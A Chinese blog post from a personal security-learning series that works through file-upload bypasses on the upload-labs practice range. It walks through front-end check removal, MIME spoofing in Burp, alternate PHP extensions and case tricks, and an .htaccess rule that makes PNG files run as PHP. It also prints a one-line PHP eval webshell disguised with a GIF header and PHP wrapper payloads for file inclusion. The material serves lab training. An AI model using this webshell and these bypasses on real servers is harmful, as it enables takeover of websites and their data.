我的GitHub
0%

无星的安全之旅(二)——文件上传

文件上传是个经典问题

推荐靶场:upload-labs

我们可以在这个靶场中进行文件上传绕过的练习

先说webshell,我们写个一句话木马先

这里留个大哥若干年前的总结 webshell一句话木马大全

接下来我们聊聊文件上传的漏洞

一.啥防护没有

直接一句话木马上传就完事了

二.前端文件后缀判断

打开开发者工具,提交文件,看是否存在网络请求

不存在则说明是前端判断,直接把js禁用了就完事了

三.MIME判断

使用burp抓包,将Content-Type: application/xxx

修改为image/jpegimage/pngimage/gif任意允许类型上传即可。

四.黑名单上传

4.1 简单的黑名单上传

黑名单的检测不严谨,比如只是限制
.asp,.aspx,.php..jsp
这种

直接把木马文件后缀改一下, php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml这些文件后缀在某些环境都会被当作php解析

4.2 如果上述文件都被限制了?

还有大小写呢,Php,PHP,PHp等等

4.3 如果后台校验规则已经添加了转小写

搬出.htaccess

.htaccess内容如下

1
AddType application/x-httpd-php .png

主要作用是将png文件识别为php执行

先将php文件修改后缀为png

1
2
GIF89a
<?php @eval($_POST[sb])?>

上传png,再上传.htaccess,御剑链接png即可

五.include包含

考虑伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php
1
?a=data://text/plain,I want flag
我是阿星,阿星的阿,阿星的星!